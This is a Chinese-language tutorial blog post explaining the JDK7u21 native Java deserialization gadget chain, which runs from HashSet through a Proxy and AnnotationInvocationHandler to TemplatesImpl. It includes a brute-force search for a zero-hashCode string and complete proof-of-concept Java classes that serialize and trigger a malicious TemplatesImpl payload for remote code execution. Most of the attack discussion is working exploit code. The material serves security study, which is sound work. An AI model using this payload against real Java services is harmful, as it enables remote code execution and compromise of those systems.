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【java安全】原生反序列化利用链JDK7u21
前言
前面我们学习了使用第三方类：Common-Collections、Common-Beanutils进行反序列化利用。我们肯定会想，如果不利用第三方类库，能否进行反序列化利用链呢？这里还真有：JDK7u21。但是只适用于java 7u及以前的版本
在使用这条利用链时，需要设置jdk为jdk7u21
原理
JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler，没错，就是我们之前学习过的那个类，位于：sun.reflect.annotation包下
equalsImpl()
我们看一下equalsImpl()、getMemberMethods方法：
java
private Boolean equalsImpl(Object var1) { //传入var1
...
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4]; // var5是一个方法对象
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1); // 这里会调用var1这个对象的var5方法
}
...
return true;
}
}
private transient volatile Method[] memberMethods = null;
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); //获得Method[]
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}equalsImpl()方法中明显会调用memberMethod.invoke(o) ，而memberMethod来自于this.type.getDeclaredMethods()
如果我们此时传入invoke()中的形参为TemplatesImpl对象，并且this.type是TemplatesImpl的字节码对象。
那么经过循环就会调用TemplatesImpl对象中的每个方法，就必然会调用newTransformer()或getOutputProperties()方法从而执行恶意字节码了
如何调用equalsImpl()？
那么在哪里会调用equalsImpl()方法呢？invoke()：
java
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
//当执行invoke()方法时传入的方法名字为equals并且形参只有一个，类型为Object就会执行 equalsImpl()
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4); //cc1
...
}
}
}我们之前cc1中是另this.memberValues等于一个LazyMap对象，让其调用get()方法，就可以执行cc1利用链了
但是这里我们不需要利用这里，我们需要注意这里：
java
//当执行invoke()方法时传入的方法名字为equals并且形参只有一个，类型为Object就会执行 equalsImpl()
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}我们应该思考这里的invoke()方法如何被调用，并且刚好使形参的第二个为equals、第三个参数的类型为Object对象
我们之前学习过动态代理，当一个代理对象Proxy调用一个方法时，就会调用构造该代理对象时传入的InvocationHandler的invoke()方法，并且第二个参数为methodName方法名，invoke()第三个参数为调用方法时传入的参数
所以现在我们需要找到一个类，他在反序列化时，会间接的对Proxy对象调用equals()方法
HashSet通过反序列化间接执行equals()方法
HashSet可以做到这个效果，实现这个效果有一点复杂，我们先大致了解一下过程
我们创建一个LinkedHashSet对象，当反序列化时会遍历每一个值，使用LinkedHashMap#put()方法，
put()方法中这几行是重点
java
int hash = hash(key); //计算key的hash值
int i = indexFor(hash, table.length); //这个i也是hash
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) //重点这里会对key的hash与表中取出的e的hash做一个比较，如果这俩个hash相等，但是又不是同一个对象的化，就会执行key的equals()方法，传入参数k
这里我们假设key是Proxy代理对象，并且这里传入的k是一个TemplatesImpl恶意对象，那么就会执行AnnotationInvocationHandler的invoke()方法，从而执行equalsImpl()中的invoke()方法
最终调用了TemplatesImpl恶意对象的newTransformer()方法RCE
我们怎么控制上面的key以及k=e.key呢？
其实我们上面已经分析了一下，这个key和k其实就是我们添加进入：LinkedHashSet中的元素而已
java
// 实例化HashSet，并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);我们应该先添加TemplatesImpl对象，再添加Proxy代理对象，这样才好触发key.equals(k)
如何使hash相等？
我们上面其实默认了一个前提，那就是e.hash == hash 。其实这两个默认肯定不相等，我们需要一些小操作使其相等
我们先来看看HashMap中的hash()方法：
java
final int hash(Object k) {
...
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}这里自始至终只用到了一个变量k.hashCode()，其他的都相等，我们想要Proxy和TemplateImpl的hash相等，其实只需要让k.hashCode()相等即可
TemplateImpl的 hashCode() 是一个Native方法，每次运 行都会发生变化，我们理论上是无法预测的，所以想让proxy的 hashCode() 与之相等，只能寄希望于 proxy.hashCode()
当我们调用proxy.hashCode()时，就会调用创建改代理对象时传入的InvocationHandler对象的invoke()方法，我们继续看看invoke()：
java
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
}
...
}
}可见，会继续调用invoke()中的hashCodeImpl()方法：
java
private int hashCodeImpl() {
int var1 = 0;
Map.Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Map.Entry)var2.next();
}
return var1;
}重点是下面这一句，var1是计算累加和的，如果this.memberValues是一个HashMap类型并且其中只有一个元素，那么函数的返回值就变成了这个了：
java
127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
即：
127 * key.hashCode() ^ value.hashCode()我们想让Proxy和TemplateImpl的hash相等，并且TemplateImplhash不可控。
上述代码中如果我们令key.hashCode()=0，并且我们令value 等于TemplateImpl对象，那么这两个的hash就相等了，进而可以执行Proxy的equals()方法了
我们需要找到一个值的hashCode为0，是可以通过爆破来实现的：
java
public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}跑出来第一个是 f5a5a608 ，这个也是ysoserial中用到的字符串
思路整理
讲完了这么多我们理清一下思路
先创建一个恶意TemplatesImpl对象：
java
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());为了使Proxy和TemplateImpl的hash相等，以便执行equals()，我们需要让AnnotationInvocationHandler的this.memberValues等于一个HashMap并且只有一个元素：key为f5a5a608，value为：TemplateImpl对象，这样由AnnotationInvocationHandler组成的代理对象proxy与TemplateImpl的hash就会相等
所以创建一个HashMap：
java
// 实例化一个map，并添加Magic Number为key，也就是f5a5a608，value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");实例化 AnnotationInvocationHandler 对象
- 它的type属性是一个TemplateImpl类
- 它的memberValues属性是一个Map，Map只有一个key和value，key是字符串 f5a5a608 ， value是前面生成的恶意TemplateImpl对象
实例化AnnotationInvocationHandler类，将map传参进去，经过构造函数设置为memberValues
由于equalImpl()方法会调用memberMethod.invoke(o)，这个memberMethod来自this.type.getDeclaredMethods()所以需要设置type为TemplatesImpl的 字节码，这里构造函数会将第一个参数设为type
java
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);在创建核心的LinkedHashSet之前，我们需要创建一个代理对象，将tempHandler给传进去
java
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);然后实例化：HashSet：
java
// 实例化HashSet，并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);添加的先后顺序要注意一下，Proxy应该放在后面，这样才会调用Proxy#equals()
这样在反序列化触发rce的流程如下：
首先触发HashSet的readObject()方法，然后集合中的值会使用LinkedHasnMap的put(key,常数)方法进行key去重
去重时计算元素的hashcode，由于我们已经构造其相等，所以会触发Proxy#equals()方法
进而调用AnnotationInvocationHandler#invoke()-> AnnotationInvocationHandler#equalsImpl()方法
equalsImpl()会遍历type的每个方法并调用。
因为this.type是TemplatesImpl字节码对象，所以最终会触发newTransformer()造成RCE
POC
java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class JDK7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map，并添加Magic Number为key，也就是f5a5a608，value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet，并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}Gadget
java
HashSet#readObject()
LinkedHashMap#put(e, PRESENT)
Proxy#equals(k)
AnnotationInvocationHandler#invoke()
equalsImpl()
TemplatesImpl#newTransformer()
...
ClassLoader.defineClass()
...
Runtime.exec()为什么在HashSet#add()前要将HashMap的value设为其他值？
我们追踪一下HashSet#add()方法，发现他也会调用HashMap#put()方法，这样就会导致Proxy提前触发equals()方法造成命令执行：
我们测试一下：
java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class JDK7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, templates); //value再这里设为templates
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}成功不经过反序列化就弹出计算器：
所以我们需要先将HashMap的唯一一个元素的value设为其他值